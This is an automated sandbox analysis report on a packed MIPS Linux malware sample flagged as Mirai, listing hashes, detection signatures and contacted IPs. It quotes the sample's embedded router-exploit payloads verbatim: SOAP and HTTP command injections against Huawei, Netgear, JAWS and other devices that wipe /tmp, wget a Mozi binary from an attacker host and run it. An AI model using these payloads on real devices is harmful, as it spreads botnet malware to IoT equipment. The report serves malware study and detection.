Linux Analysis Report
na.elf

Overview

General Information

Sample name: na.elf
Analysis ID: 1540818
MD5: 727edcf92b437285da92e50086338e97
SHA1: b98f5d8aabcf72d12e693a9ff295cc710a3887fc
SHA256: 50e4dd69f4d799e669356ae8217571cf11b05a4fbd080281ee5b9d446a95f4d2
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample is packed with UPX
ELF contains segments with high entropy indicating compressed/encrypted content
Sample contains only a LOAD segment without any section mappings
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
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Antivirus / Scanner detection for submitted sample
Source: na.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: na.elf ReversingLabs: Detection: 57%
Source: na.elf Virustotal: Detection: 64% Perma Link
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: na.elf String found in binary or memory: http://%s:%d/Mozi.a;chmod
Source: na.elf String found in binary or memory: http://%s:%d/Mozi.a;sh$
Source: na.elf String found in binary or memory: http://%s:%d/Mozi.m
Source: na.elf String found in binary or memory: http://%s:%d/Mozi.m;
Source: na.elf String found in binary or memory: http://%s:%d/Mozi.m;$
Source: na.elf String found in binary or memory: http://%s:%d/Mozi.m;/tmp/Mozi.m
Source: na.elf String found in binary or memory: http://purenetworks.com/HNAP1/
Source: na.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: na.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: na.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
Source: na.elf String found in binary or memory: http://upx.sf.net
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary
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Malicious sample detected (through community Yara rule)
Source: na.elf, type: SAMPLE Matched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
Source: 6208.1.00007f7b48400000.00007f7b48422000.r-x.sdmp, type: MEMORY Matched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
Sample contains only a LOAD segment without any section mappings
Source: LOAD without section mappings Program segment: 0x400000
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s:%d -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
Sample contains strings that are potentially command strings
Source: Initial sample Potential command found: GET /Mozi.m HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.x HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.a HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.s HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.r HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.b HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.4 HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.k HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.l HTTP/1.0
Source: Initial sample Potential command found: GET /Mozi.p HTTP/1.0
Source: Initial sample Potential command found: GET /%s HTTP/1.1
Source: Initial sample Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
Source: Initial sample Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
Source: Initial sample Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
Yara signature match
Source: na.elf, type: SAMPLE Matched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
Source: 6208.1.00007f7b48400000.00007f7b48422000.r-x.sdmp, type: MEMORY Matched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
Source: classification engine Classification label: mal92.troj.evad.linELF@0/0@0/0

Data Obfuscation
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Sample is packed with UPX
Source: initial sample String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample String containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
ELF contains segments with high entropy indicating compressed/encrypted content
Source: na.elf Submission file: segment LOAD with 7.8156 entropy (max. 8.0)
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/na.elf (PID: 6208) Queries kernel information via 'uname': Jump to behavior
Source: na.elf, 6208.1.00007ffe4843b000.00007ffe4845c000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf
Source: na.elf, 6208.1.000055c295e16000.000055c295e9d000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: na.elf, 6208.1.000055c295e16000.000055c295e9d000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: na.elf, 6208.1.00007ffe4843b000.00007ffe4845c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
Source: na.elf, 6208.1.00007ffe4843b000.00007ffe4845c000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped

Stealing of Sensitive Information
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Yara detected Mirai
Source: Yara match File source: na.elf, type: SAMPLE

Remote Access Functionality
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Yara detected Mirai
Source: Yara match File source: na.elf, type: SAMPLE

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
109.202.202.202
 unknown Switzerland
13030 INIT7CH false
91.189.91.43
 unknown United Kingdom
41231 CANONICAL-ASGB false
91.189.91.42
 unknown United Kingdom
41231 CANONICAL-ASGB false